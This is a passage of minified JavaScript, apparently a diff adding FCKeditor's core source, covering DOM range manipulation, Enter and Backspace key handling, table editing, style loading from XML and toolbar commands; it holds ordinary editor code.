C='fck_dom_range_temp_'+(new Date()).valueOf()+'_'+Math.floor(Math.random()*1000);B.pasteHTML('<span id="'+C+'"></span>');return this.Window.document.getElementById(C);};FCKDomRange.prototype._GetRangeMarkerTag=function(A){var B=this._Range;if (!A){B=B.cloneRange();B.collapse(A===true);};var C=this.Window.document.createElement('span');C.innerHTML='&nbsp;';B.insertNode(C);return C;}
+var FCKDocumentFragment=function(A){this._Document=A;this.RootNode=A.createElement('div');};FCKDocumentFragment.prototype={AppendTo:function(A){FCKDomTools.MoveChildren(this.RootNode,A);},AppendHtml:function(A){var B=this._Document.createElement('div');B.innerHTML=A;FCKDomTools.MoveChildren(B,this.RootNode);},InsertAfterNode:function(A){var B=this.RootNode;var C;while((C=B.lastChild)) FCKDomTools.InsertAfterNode(A,B.removeChild(C));}};
+var FCKW3CRange=function(A){this._Document=A;this.startContainer=null;this.startOffset=null;this.endContainer=null;this.endOffset=null;this.collapsed=true;};FCKW3CRange.CreateRange=function(A){return new FCKW3CRange(A);};FCKW3CRange.CreateFromRange=function(A,B){var C=FCKW3CRange.CreateRange(A);C.setStart(B.startContainer,B.startOffset);C.setEnd(B.endContainer,B.endOffset);return C;};FCKW3CRange.prototype={_UpdateCollapsed:function(){this.collapsed=(this.startContainer==this.endContainer&&this.startOffset==this.endOffset);},setStart:function(A,B){this.startContainer=A;this.startOffset=B;if (!this.endContainer){this.endContainer=A;this.endOffset=B;};this._UpdateCollapsed();},setEnd:function(A,B){this.endContainer=A;this.endOffset=B;if (!this.startContainer){this.startContainer=A;this.startOffset=B;};this._UpdateCollapsed();},setStartAfter:function(A){this.setStart(A.parentNode,FCKDomTools.GetIndexOf(A)+1);},setStartBefore:function(A){this.setStart(A.parentNode,FCKDomTools.GetIndexOf(A));},setEndAfter:function(A){this.setEnd(A.parentNode,FCKDomTools.GetIndexOf(A)+1);},setEndBefore:function(A){this.setEnd(A.parentNode,FCKDomTools.GetIndexOf(A));},collapse:function(A){if (A){this.endContainer=this.startContainer;this.endOffset=this.startOffset;}else{this.startContainer=this.endContainer;this.startOffset=this.endOffset;};this.collapsed=true;},selectNodeContents:function(A){this.setStart(A,0);this.setEnd(A,A.nodeType==3?A.data.length:A.childNodes.length);},insertNode:function(A){var B=this.startContainer;var C=this.startOffset;if (B.nodeType==3){B.splitText(C);if (B==this.endContainer) this.setEnd(B.nextSibling,this.endOffset-this.startOffset);FCKDomTools.InsertAfterNode(B,A);return;}else{B.insertBefore(A,B.childNodes[C]||null);if (B==this.endContainer){this.endOffset++;this.collapsed=false;}}},deleteContents:function(){if (this.collapsed) return;this._ExecContentsAction(0);},extractContents:function(){var A=new FCKDocumentFragment(this._Document);if (!this.collapsed) this._ExecContentsAction(1,A);return A;},cloneContents:function(){var A=new FCKDocumentFragment(this._Document);if (!this.collapsed) this._ExecContentsAction(2,A);return A;},_ExecContentsAction:function(A,B){var C=this.startContainer;var D=this.endContainer;var E=this.startOffset;var F=this.endOffset;var G=false;var H=false;if (D.nodeType==3) D=D.splitText(F);else{if (D.childNodes.length>0){if (F>D.childNodes.length-1){D=FCKDomTools.InsertAfterNode(D.lastChild,this._Document.createTextNode(''));H=true;}else D=D.childNodes[F];}};if (C.nodeType==3){C.splitText(E);if (C==D) D=C.nextSibling;}else{if (C.childNodes.length>0&&E<=C.childNodes.length-1){if (E==0){C=C.insertBefore(this._Document.createTextNode(''),C.firstChild);G=true;}else C=C.childNodes[E].previousSibling;}};var I=FCKDomTools.GetParents(C);var J=FCKDomTools.GetParents(D);var i,topStart,topEnd;for (i=0;i<I.length;i++){topStart=I[i];topEnd=J[i];if (topStart!=topEnd) break;};var K,levelStartNode,levelClone,currentNode,currentSibling;if (B) K=B.RootNode;for (var j=i;j<I.length;j++){levelStartNode=I[j];if (K&&levelStartNode!=C) levelClone=K.appendChild(levelStartNode.cloneNode(levelStartNode==C));currentNode=levelStartNode.nextSibling;while(currentNode){if (currentNode==J[j]||currentNode==D) break;currentSibling=currentNode.nextSibling;if (A==2) K.appendChild(currentNode.cloneNode(true));else{currentNode.parentNode.removeChild(currentNode);if (A==1) K.appendChild(currentNode);};currentNode=currentSibling;};if (K) K=levelClone;};if (B) K=B.RootNode;for (var k=i;k<J.length;k++){levelStartNode=J[k];if (A>0&&levelStartNode!=D) levelClone=K.appendChild(levelStartNode.cloneNode(levelStartNode==D));if (!I[k]||levelStartNode.parentNode!=I[k].parentNode){currentNode=levelStartNode.previousSibling;while(currentNode){if (currentNode==I[k]||currentNode==C) break;currentSibling=currentNode.previousSibling;if (A==2) K.insertBefore(currentNode.cloneNode(true),K.firstChild);else{currentNode.parentNode.removeChild(currentNode);if (A==1) K.insertBefore(currentNode,K.firstChild);};currentNode=currentSibling;}};if (K) K=levelClone;};if (A==2){var L=this.startContainer;if (L.nodeType==3){L.data+=L.nextSibling.data;L.parentNode.removeChild(L.nextSibling);};var M=this.endContainer;if (M.nodeType==3&&M.nextSibling){M.data+=M.nextSibling.data;M.parentNode.removeChild(M.nextSibling);}}else{if (topStart&&topEnd&&(C.parentNode!=topStart.parentNode||D.parentNode!=topEnd.parentNode)) this.setStart(topEnd.parentNode,FCKDomTools.GetIndexOf(topEnd));this.collapse(true);};if(G) C.parentNode.removeChild(C);if(H&&D.parentNode) D.parentNode.removeChild(D);},cloneRange:function(){return FCKW3CRange.CreateFromRange(this._Document,this);},toString:function(){var A=this.cloneContents();var B=this._Document.createElement('div');A.AppendTo(B);return B.textContent||B.innerText;}};
+var FCKEnterKey=function(A,B,C){this.Window=A;this.EnterMode=B||'p';this.ShiftEnterMode=C||'br';var D=new FCKKeystrokeHandler(false);D._EnterKey=this;D.OnKeystroke=FCKEnterKey_OnKeystroke;D.SetKeystrokes([[13,'Enter'],[SHIFT+13,'ShiftEnter'],[8,'Backspace'],[46,'Delete']]);D.AttachToElement(A.document);};function FCKEnterKey_OnKeystroke(A,B){var C=this._EnterKey;try{switch (B){case 'Enter':return C.DoEnter();break;case 'ShiftEnter':return C.DoShiftEnter();break;case 'Backspace':return C.DoBackspace();break;case 'Delete':return C.DoDelete();}}catch (e){};return false;};FCKEnterKey.prototype.DoEnter=function(A,B){this._HasShift=(B===true);var C=A||this.EnterMode;if (C=='br') return this._ExecuteEnterBr();else return this._ExecuteEnterBlock(C);};FCKEnterKey.prototype.DoShiftEnter=function(){return this.DoEnter(this.ShiftEnterMode,true);};FCKEnterKey.prototype.DoBackspace=function(){var A=false;var B=new FCKDomRange(this.Window);B.MoveToSelection();if (!B.CheckIsCollapsed()) return false;var C=B.StartBlock;var D=B.EndBlock;if (B.StartBlockLimit==B.EndBlockLimit&&C&&D){if (!B.CheckIsCollapsed()){var E=B.CheckEndOfBlock();B.DeleteContents();if (C!=D){B.SetStart(D,1);B.SetEnd(D,1);};B.Select();A=(C==D);};if (B.CheckStartOfBlock()){var F=B.StartBlock;var G=FCKDomTools.GetPreviousSourceElement(F,true,['BODY',B.StartBlockLimit.nodeName],['UL','OL']);A=this._ExecuteBackspace(B,G,F);}else if (FCKBrowserInfo.IsGecko){B.Select();}};B.Release();return A;};FCKEnterKey.prototype._ExecuteBackspace=function(A,B,C){var D=false;if (!B&&C.nodeName.IEquals('LI')&&C.parentNode.parentNode.nodeName.IEquals('LI')){B=C.parentNode.parentNode;C=FCKListHandler.OutdentListItem(C);};if (B&&B.nodeName.IEquals('LI')){var E=FCKDomTools.GetLastChild(B,['UL','OL']);while (E){B=FCKDomTools.GetLastChild(E,'LI');E=FCKDomTools.GetLastChild(B,['UL','OL']);}};if (B&&C){if (C.nodeName.IEquals('LI')&&!B.nodeName.IEquals('LI')) C=FCKListHandler.OutdentListItem(C);var F=C.parentNode;if (B.nodeName.IEquals('TABLE','HR')){FCKDomTools.RemoveNode(B);D=true;}else{FCKDomTools.RemoveNode(C);while (F.innerHTML.Trim().length==0){var G=F.parentNode;G.removeChild(F);F=G;};FCKDomTools.TrimNode(C);FCKDomTools.TrimNode(B);A.SetStart(B,2);A.Collapse(true);var H=A.CreateBookmark();FCKDomTools.MoveChildren(C,B);A.MoveToBookmark(H);A.Select();D=true;}};return D;};FCKEnterKey.prototype.DoDelete=function(){var A=false;var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.CheckIsCollapsed()&&B.CheckEndOfBlock(FCKBrowserInfo.IsGecko)){var C=B.StartBlock;var D=FCKDomTools.GetNextSourceElement(C,true,[B.StartBlockLimit.nodeName],['UL','OL']);A=this._ExecuteBackspace(B,C,D);};B.Release();return A;};FCKEnterKey.prototype._ExecuteEnterBlock=function(A){var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.StartBlockLimit==B.EndBlockLimit){if (!B.StartBlock) this._FixBlock(B,true,A);if (!B.EndBlock) this._FixBlock(B,false,A);var C=B.StartBlock;var D=B.EndBlock;if (!B.CheckIsEmpty()) B.DeleteContents();if (C==D){var E;var F=B.CheckStartOfBlock();var G=B.CheckEndOfBlock();if (F&&!G){E=C.cloneNode(false);if (FCKBrowserInfo.IsGeckoLike) E.innerHTML=GECKO_BOGUS;C.parentNode.insertBefore(E,C);if (FCKBrowserInfo.IsIE){B.MoveToNodeContents(E);B.Select();};B.MoveToElementStart(C);}else{if (G){var H=C.tagName.toUpperCase();if (F&&H=='LI'){var I=FCKListHandler.OutdentListItem(C);B.MoveToElementStart(I);}else{if ((/^H[1-6]$/).test(H)) E=this.Window.document.createElement(A);else E=C.cloneNode(false);if (FCKBrowserInfo.IsGeckoLike){E.innerHTML=GECKO_BOGUS;if (F) C.innerHTML=GECKO_BOGUS;}}}else{B.SetEnd(C,2);var J=B.ExtractContents();E=C.cloneNode(false);FCKDomTools.TrimNode(J.RootNode);if (J.RootNode.firstChild.nodeType==1&&J.RootNode.firstChild.tagName.toUpperCase().Equals('UL','OL')) E.innerHTML=GECKO_BOGUS;J.AppendTo(E);if (FCKBrowserInfo.IsGecko){var K=FCKDomTools.GetLastChild(E);if (!K||K.nodeName.toLowerCase()!='br'||K.getAttribute('type',2)!='_moz') E.appendChild(FCKTools.CreateBogusBR(this.Window.document));}};if (E){FCKDomTools.InsertAfterNode(C,E);B.MoveToElementStart(E);if (FCKBrowserInfo.IsGecko) E.scrollIntoView(false);}}}else{B.MoveToElementStart(D);};B.Select();};B.Release();return true;};FCKEnterKey.prototype._ExecuteEnterBr=function(A){var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.StartBlockLimit==B.EndBlockLimit){B.DeleteContents();B.MoveToSelection();var C=B.CheckStartOfBlock();var D=B.CheckEndOfBlock();var E=B.StartBlock?B.StartBlock.tagName.toUpperCase():'';var F=this._HasShift;if (!F&&E=='LI') return this._ExecuteEnterBlock(null);if (!F&&D&&(/^H[1-6]$/).test(E)){FCKDebug.Output('BR - Header');FCKDomTools.InsertAfterNode(B.StartBlock,this.Window.document.createElement('br'));if (FCKBrowserInfo.IsGecko) FCKDomTools.InsertAfterNode(B.StartBlock,this.Window.document.createTextNode(''));B.SetStart(B.StartBlock.nextSibling,FCKBrowserInfo.IsIE?3:1);}else{FCKDebug.Output('BR - No Header');var G=this.Window.document.createElement('br');B.InsertNode(G);if (FCKBrowserInfo.IsGecko) FCKDomTools.InsertAfterNode(G,this.Window.document.createTextNode(''));if (D&&FCKBrowserInfo.IsGecko){var H=FCKDomTools.GetLastChild(G.parentNode,'BR');if (H&&H.getAttribute('type',2)!='_moz') G.parentNode.appendChild(FCKTools.CreateBogusBR(this.Window.document));};if (FCKBrowserInfo.IsIE) B.SetStart(G,4);else B.SetStart(G.nextSibling,1);};B.Collapse(true);B.Select();};B.Release();return true;};FCKEnterKey.prototype._FixBlock=function(A,B,C){var D=A.CreateBookmark();A.Collapse(B);A.Expand('block_contents');var E=this.Window.document.createElement(C);A.ExtractContents().AppendTo(E);FCKDomTools.TrimNode(E);A.InsertNode(E);A.MoveToBookmark(D);}
+var FCKDocumentProcessor={};FCKDocumentProcessor._Items=[];FCKDocumentProcessor.AppendNew=function(){var A={};this._Items.AddItem(A);return A;};FCKDocumentProcessor.Process=function(A){var B,i=0;while((B=this._Items[i++])) B.ProcessDocument(A);};var FCKDocumentProcessor_CreateFakeImage=function(A,B){var C=FCK.EditorDocument.createElement('IMG');C.className=A;C.src=FCKConfig.FullBasePath+'images/spacer.gif';C.setAttribute('_fckfakelement','true',0);C.setAttribute('_fckrealelement',FCKTempBin.AddElement(B),0);return C;};if (FCKBrowserInfo.IsIE||FCKBrowserInfo.IsOpera){var FCKAnchorsProcessor=FCKDocumentProcessor.AppendNew();FCKAnchorsProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('A');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.name.length>0){if (C.innerHTML!=''){if (FCKBrowserInfo.IsIE) C.className+=' FCK__AnchorC';}else{var D=FCKDocumentProcessor_CreateFakeImage('FCK__Anchor',C.cloneNode(true));D.setAttribute('_fckanchor','true',0);C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}}}};var FCKPageBreaksProcessor=FCKDocumentProcessor.AppendNew();FCKPageBreaksProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('DIV');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.style.pageBreakAfter=='always'&&C.childNodes.length==1&&C.childNodes[0].style&&C.childNodes[0].style.display=='none'){var D=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',C.cloneNode(true));C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}};var FCKFlashProcessor=FCKDocumentProcessor.AppendNew();FCKFlashProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('EMBED');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.src.EndsWith('.swf',true)){var D=C.cloneNode(true);if (FCKBrowserInfo.IsIE){var E=['scale','play','loop','menu','wmode','quality'];for (var F=0;i<E.length;i++){var G=C.getAttribute(E[F]);if (G) D.setAttribute(E[F],G);}};var H=FCKDocumentProcessor_CreateFakeImage('FCK__Flash',D);H.setAttribute('_fckflash','true',0);FCKFlashProcessor.RefreshView(H,C);C.parentNode.insertBefore(H,C);C.parentNode.removeChild(C);}}};FCKFlashProcessor.RefreshView=function(A,B){if (B.width>0) A.style.width=FCKTools.ConvertHtmlSizeToStyle(B.width);if (B.height>0) A.style.height=FCKTools.ConvertHtmlSizeToStyle(B.height);};FCK.GetRealElement=function(A){var e=FCKTempBin.Elements[A.getAttribute('_fckrealelement')];if (A.getAttribute('_fckflash')){if (A.style.width.length>0) e.width=FCKTools.ConvertStyleSizeToHtml(A.style.width);if (A.style.height.length>0) e.height=FCKTools.ConvertStyleSizeToHtml(A.style.height);};return e;};
+var FCKSelection=FCK.Selection={};
+FCKSelection.GetType=function(){return FCK.EditorDocument.selection.type;};FCKSelection.GetSelectedElement=function(){if (this.GetType()=='Control'){var A=FCK.EditorDocument.selection.createRange();if (A&&A.item) return FCK.EditorDocument.selection.createRange().item(0);}};FCKSelection.GetParentElement=function(){switch (this.GetType()){case 'Control':return FCKSelection.GetSelectedElement().parentElement;case 'None':return null;default:return FCK.EditorDocument.selection.createRange().parentElement();}};FCKSelection.SelectNode=function(A){FCK.Focus();FCK.EditorDocument.selection.empty();var B;try{B=FCK.EditorDocument.body.createControlRange();B.addElement(A);}catch(e){B=FCK.EditorDocument.selection.createRange();B.moveToElementText(A);};B.select();};FCKSelection.Collapse=function(A){FCK.Focus();if (this.GetType()=='Text'){var B=FCK.EditorDocument.selection.createRange();B.collapse(A==null||A===true);B.select();}};FCKSelection.HasAncestorNode=function(A){var B;if (FCK.EditorDocument.selection.type=="Control"){B=this.GetSelectedElement();}else{var C=FCK.EditorDocument.selection.createRange();B=C.parentElement();};while (B){if (B.tagName==A) return true;B=B.parentNode;};return false;};FCKSelection.MoveToAncestorNode=function(A){var B,oRange;if (!FCK.EditorDocument) return null;if (FCK.EditorDocument.selection.type=="Control"){oRange=FCK.EditorDocument.selection.createRange();for (i=0;i<oRange.length;i++){if (oRange(i).parentNode){B=oRange(i).parentNode;break;}}}else{oRange=FCK.EditorDocument.selection.createRange();B=oRange.parentElement();};while (B&&B.nodeName!=A) B=B.parentNode;return B;};FCKSelection.Delete=function(){var A=FCK.EditorDocument.selection;if (A.type.toLowerCase()!="none"){A.clear();};return A;};
+var FCKTableHandler={};FCKTableHandler.InsertRow=function(){var A=FCKSelection.MoveToAncestorNode('TR');if (!A) return;var B=A.cloneNode(true);A.parentNode.insertBefore(B,A);FCKTableHandler.ClearRow(A);};FCKTableHandler.DeleteRows=function(A){if (!A) A=FCKSelection.MoveToAncestorNode('TR');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');if (B.rows.length==1){FCKTableHandler.DeleteTable(B);return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteTable=function(A){if (!A){A=FCKSelection.GetSelectedElement();if (!A||A.tagName!='TABLE') A=FCKSelection.MoveToAncestorNode('TABLE');};if (!A) return;FCKSelection.SelectNode(A);FCKSelection.Collapse();A.parentNode.removeChild(A);};FCKTableHandler.InsertColumn=function(){var A=FCKSelection.MoveToAncestorNode('TD')||FCKSelection.MoveToAncestorNode('TH');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex+1;for (var i=0;i<B.rows.length;i++){var D=B.rows[i];if (D.cells.length<C) continue;A=D.cells[C-1].cloneNode(false);if (FCKBrowserInfo.IsGecko) A.innerHTML=GECKO_BOGUS;var E=D.cells[C];if (E) D.insertBefore(A,E);else D.appendChild(A);}};FCKTableHandler.DeleteColumns=function(){var A=FCKSelection.MoveToAncestorNode('TD')||FCKSelection.MoveToAncestorNode('TH');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex;for (var i=B.rows.length-1;i>=0;i--){var D=B.rows[i];if (C==0&&D.cells.length==1){FCKTableHandler.DeleteRows(D);continue;};if (D.cells[C]) D.removeChild(D.cells[C]);}};FCKTableHandler.InsertCell=function(A){var B=A?A:FCKSelection.MoveToAncestorNode('TD');if (!B) return null;var C=FCK.EditorDocument.createElement('TD');if (FCKBrowserInfo.IsGecko) C.innerHTML=GECKO_BOGUS;if (B.cellIndex==B.parentNode.cells.length-1){B.parentNode.appendChild(C);}else{B.parentNode.insertBefore(C,B.nextSibling);};return C;};FCKTableHandler.DeleteCell=function(A){if (A.parentNode.cells.length==1){FCKTableHandler.DeleteRows(FCKTools.GetElementAscensor(A,'TR'));return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteCells=function(){var A=FCKTableHandler.GetSelectedCells();for (var i=A.length-1;i>=0;i--){FCKTableHandler.DeleteCell(A[i]);}};FCKTableHandler.MergeCells=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length<2) return;if (A[0].parentNode!=A[A.length-1].parentNode) return;var B=isNaN(A[0].colSpan)?1:A[0].colSpan;var C='';var D=FCK.EditorDocument.createDocumentFragment();for (var i=A.length-1;i>=0;i--){var E=A[i];for (var c=E.childNodes.length-1;c>=0;c--){var F=E.removeChild(E.childNodes[c]);if ((F.hasAttribute&&F.hasAttribute('_moz_editor_bogus_node'))||(F.getAttribute&&F.getAttribute('type',2)=='_moz')) continue;D.insertBefore(F,D.firstChild);};if (i>0){B+=isNaN(E.colSpan)?1:E.colSpan;FCKTableHandler.DeleteCell(E);}};A[0].colSpan=B;if (FCKBrowserInfo.IsGecko&&D.childNodes.length==0) A[0].innerHTML=GECKO_BOGUS;else A[0].appendChild(D);};FCKTableHandler.SplitCell=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length!=1) return;var B=this._CreateTableMap(A[0].parentNode.parentNode);var C=FCKTableHandler._GetCellIndexSpan(B,A[0].parentNode.rowIndex,A[0]);var D=this._GetCollumnCells(B,C);for (var i=0;i<D.length;i++){if (D[i]==A[0]){var E=this.InsertCell(A[0]);if (!isNaN(A[0].rowSpan)&&A[0].rowSpan>1) E.rowSpan=A[0].rowSpan;}else{if (isNaN(D[i].colSpan)) D[i].colSpan=2;else D[i].colSpan+=1;}}};FCKTableHandler._GetCellIndexSpan=function(A,B,C){if (A.length<B+1) return null;var D=A[B];for (var c=0;c<D.length;c++){if (D[c]==C) return c;};return null;};FCKTableHandler._GetCollumnCells=function(A,B){var C=[];for (var r=0;r<A.length;r++){var D=A[r][B];if (D&&(C.length==0||C[C.length-1]!=D)) C[C.length]=D;};return C;};FCKTableHandler._CreateTableMap=function(A){var B=A.rows;var r=-1;var C=[];for (var i=0;i<B.length;i++){r++;if (!C[r]) C[r]=[];var c=-1;for (var j=0;j<B[i].cells.length;j++){var D=B[i].cells[j];c++;while (C[r][c]) c++;var E=isNaN(D.colSpan)?1:D.colSpan;var F=isNaN(D.rowSpan)?1:D.rowSpan;for (var G=0;G<F;G++){if (!C[r+G]) C[r+G]=[];for (var H=0;H<E;H++){C[r+G][c+H]=B[i].cells[j];}};c+=E-1;}};return C;};FCKTableHandler.ClearRow=function(A){var B=A.cells;for (var i=0;i<B.length;i++){if (FCKBrowserInfo.IsGecko) B[i].innerHTML=GECKO_BOGUS;else B[i].innerHTML='';}};
+FCKTableHandler.GetSelectedCells=function(){var A=[];var B=FCK.EditorDocument.selection.createRange();var C=FCKSelection.GetParentElement();if (C&&C.tagName.Equals('TD','TH')) A[0]=C;else{C=FCKSelection.MoveToAncestorNode('TABLE');if (C){for (var i=0;i<C.cells.length;i++){var D=FCK.EditorDocument.selection.createRange();D.moveToElementText(C.cells[i]);if (B.inRange(D)||(B.compareEndPoints('StartToStart',D)>=0&&B.compareEndPoints('StartToEnd',D)<=0)||(B.compareEndPoints('EndToStart',D)>=0&&B.compareEndPoints('EndToEnd',D)<=0)){A[A.length]=C.cells[i];}}}};return A;};
+var FCKXml=function(){this.Error=false;};FCKXml.prototype.LoadUrl=function(A){this.Error=false;var B=FCKTools.CreateXmlObject('XmlHttp');if (!B){this.Error=true;return;};B.open("GET",A,false);B.send(null);if (B.status==200||B.status==304) this.DOMDocument=B.responseXML;else if (B.status==0&&B.readyState==4){this.DOMDocument=FCKTools.CreateXmlObject('DOMDocument');this.DOMDocument.async=false;this.DOMDocument.resolveExternals=false;this.DOMDocument.loadXML(B.responseText);}else{this.DOMDocument=null;};if (this.DOMDocument==null||this.DOMDocument.firstChild==null){this.Error=true;if (window.confirm('Error loading "'+A+'"\r\nDo you want to see more info?')) alert('URL requested: "'+A+'"\r\nServer response:\r\nStatus: '+B.status+'\r\nResponse text:\r\n'+B.responseText);}};FCKXml.prototype.SelectNodes=function(A,B){if (this.Error) return [];if (B) return B.selectNodes(A);else return this.DOMDocument.selectNodes(A);};FCKXml.prototype.SelectSingleNode=function(A,B){if (this.Error) return null;if (B) return B.selectSingleNode(A);else return this.DOMDocument.selectSingleNode(A);}
+var FCKStyleDef=function(A,B){this.Name=A;this.Element=B.toUpperCase();this.IsObjectElement=FCKRegexLib.ObjectElements.test(this.Element);this.Attributes={};};FCKStyleDef.prototype.AddAttribute=function(A,B){this.Attributes[A]=B;};FCKStyleDef.prototype.GetOpenerTag=function(){var s='<'+this.Element;for (var a in this.Attributes) s+=' '+a+'="'+this.Attributes[a]+'"';return s+'>';};FCKStyleDef.prototype.GetCloserTag=function(){return '</'+this.Element+'>';};FCKStyleDef.prototype.RemoveFromSelection=function(){if (FCKSelection.GetType()=='Control') this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement());else this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetParentElement());}
+FCKStyleDef.prototype.ApplyToSelection=function(){var A=FCK.ToolbarSet.CurrentInstance.EditorDocument.selection;if (A.type=='Text'){var B=A.createRange();var e=document.createElement(this.Element);e.innerHTML=B.htmlText;this._AddAttributes(e);this._RemoveDuplicates(e);B.pasteHTML(e.outerHTML);}else if (A.type=='Control'){var C=FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement();if (C.tagName==this.Element) this._AddAttributes(C);}};FCKStyleDef.prototype._AddAttributes=function(A){for (var a in this.Attributes){switch (a.toLowerCase()){case 'style':A.style.cssText=this.Attributes[a];break;case 'class':A.setAttribute('className',this.Attributes[a],0);break;case 'src':A.setAttribute('_fcksavedurl',this.Attributes[a],0);default:A.setAttribute(a,this.Attributes[a],0);}}};FCKStyleDef.prototype._RemoveDuplicates=function(A){for (var i=0;i<A.children.length;i++){var B=A.children[i];this._RemoveDuplicates(B);if (this.IsEqual(B)) FCKTools.RemoveOuterTags(B);}};FCKStyleDef.prototype.IsEqual=function(e){if (e.tagName!=this.Element) return false;for (var a in this.Attributes){switch (a.toLowerCase()){case 'style':if (e.style.cssText.toLowerCase()!=this.Attributes[a].toLowerCase()) return false;break;case 'class':if (e.getAttribute('className',0)!=this.Attributes[a]) return false;break;default:if (e.getAttribute(a,0)!=this.Attributes[a]) return false;}};return true;};FCKStyleDef.prototype._RemoveMe=function(A){if (!A) return;var B=A.parentElement;if (this.IsEqual(A)){if (this.IsObjectElement){for (var a in this.Attributes){switch (a.toLowerCase()){case 'class':A.removeAttribute('className',0);break;default:A.removeAttribute(a,0);}};return;}else FCKTools.RemoveOuterTags(A);};this._RemoveMe(B);}
+var FCKStylesLoader=function(){this.Styles={};this.StyleGroups={};this.Loaded=false;this.HasObjectElements=false;};FCKStylesLoader.prototype.Load=function(A){var B=new FCKXml();B.LoadUrl(A);var C=B.SelectNodes('Styles/Style');for (var i=0;i<C.length;i++){var D=C[i].attributes.getNamedItem('element').value.toUpperCase();var E=new FCKStyleDef(C[i].attributes.getNamedItem('name').value,D);if (E.IsObjectElement) this.HasObjectElements=true;var F=B.SelectNodes('Attribute',C[i]);for (var j=0;j<F.length;j++){var G=F[j].attributes.getNamedItem('name').value;var H=F[j].attributes.getNamedItem('value').value;if (G.toLowerCase()=='style'){var I=document.createElement('SPAN');I.style.cssText=H;H=I.style.cssText;};E.AddAttribute(G,H);};this.Styles[E.Name]=E;var J=this.StyleGroups[D];if (J==null){this.StyleGroups[D]=[];J=this.StyleGroups[D];};J[J.length]=E;};this.Loaded=true;}
+var FCKNamedCommand=function(A){this.Name=A;};FCKNamedCommand.prototype.Execute=function(){FCK.ExecuteNamedCommand(this.Name);};FCKNamedCommand.prototype.GetState=function(){return FCK.GetNamedCommandState(this.Name);};
+var FCKDialogCommand=function(A,B,C,D,E,F,G){this.Name=A;this.Title=B;this.Url=C;this.Width=D;this.Height=E;this.GetStateFunction=F;this.GetStateParam=G;this.Resizable=false;};FCKDialogCommand.prototype.Execute=function(){FCKDialog.OpenDialog('FCKDialog_'+this.Name,this.Title,this.Url,this.Width,this.Height,null,null,this.Resizable);};FCKDialogCommand.prototype.GetState=function(){if (this.GetStateFunction) return this.GetStateFunction(this.GetStateParam);else return 0;};var FCKUndefinedCommand=function(){this.Name='Undefined';};FCKUndefinedCommand.prototype.Execute=function(){alert(FCKLang.NotImplemented);};FCKUndefinedCommand.prototype.GetState=function(){return 0;};var FCKFontNameCommand=function(){this.Name='FontName';};FCKFontNameCommand.prototype.Execute=function(A){if (A==null||A==""){}else FCK.ExecuteNamedCommand('FontName',A);};FCKFontNameCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontName');};var FCKFontSizeCommand=function(){this.Name='FontSize';};FCKFontSizeCommand.prototype.Execute=function(A){if (typeof(A)=='string') A=parseInt(A,10);if (A==null||A==''){FCK.ExecuteNamedCommand('FontSize',3);}else FCK.ExecuteNamedCommand('FontSize',A);};FCKFontSizeCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontSize');};var FCKFormatBlockCommand=function(){this.Name='FormatBlock';};FCKFormatBlockCommand.prototype.Execute=function(A){if (A==null||A=='') FCK.ExecuteNamedCommand('FormatBlock','<P>');else if (A=='div'&&FCKBrowserInfo.IsGecko) FCK.ExecuteNamedCommand('FormatBlock','div');else FCK.ExecuteNamedCommand('FormatBlock','<'+A+'>');};FCKFormatBlockCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FormatBlock');};var FCKPreviewCommand=function(){this.Name='Preview';};FCKPreviewCommand.prototype.Execute=function(){FCK.Preview();};FCKPreviewCommand.prototype.GetState=function(){return 0;};var FCKSaveCommand=function(){this.Name='Save';};FCKSaveCommand.prototype.Execute=function(){var A=FCK.GetParentForm();if (typeof(A.onsubmit)=='function'){var B=A.onsubmit();if (B!=null&&B===false) return;};A.submit();};FCKSaveCommand.prototype.GetState=function(){return 0;};var FCKNewPageCommand=function(){this.Name='NewPage';};FCKNewPageCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();FCK.SetHTML('');FCKUndo.Typing=true;};FCKNewPageCommand.prototype.GetState=function(){return 0;};var FCKSourceCommand=function(){this.Name='Source';};FCKSourceCommand.prototype.Execute=function(){if (FCKConfig.SourcePopup){var A=FCKConfig.ScreenWidth*0.65;var B=FCKConfig.ScreenHeight*0.65;FCKDialog.OpenDialog('FCKDialog_Source',FCKLang.Source,'dialog/fck_source.html',A,B,null,null,true);}else FCK.SwitchEditMode();};FCKSourceCommand.prototype.GetState=function(){return (FCK.EditMode==0?0:1);};var FCKUndoCommand=function(){this.Name='Undo';};FCKUndoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Undo();else FCK.ExecuteNamedCommand('Undo');};FCKUndoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckUndoState()?0:-1);else return FCK.GetNamedCommandState('Undo');};var FCKRedoCommand=function(){this.Name='Redo';};FCKRedoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Redo();else FCK.ExecuteNamedCommand('Redo');};FCKRedoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckRedoState()?0:-1);else return FCK.GetNamedCommandState('Redo');};var 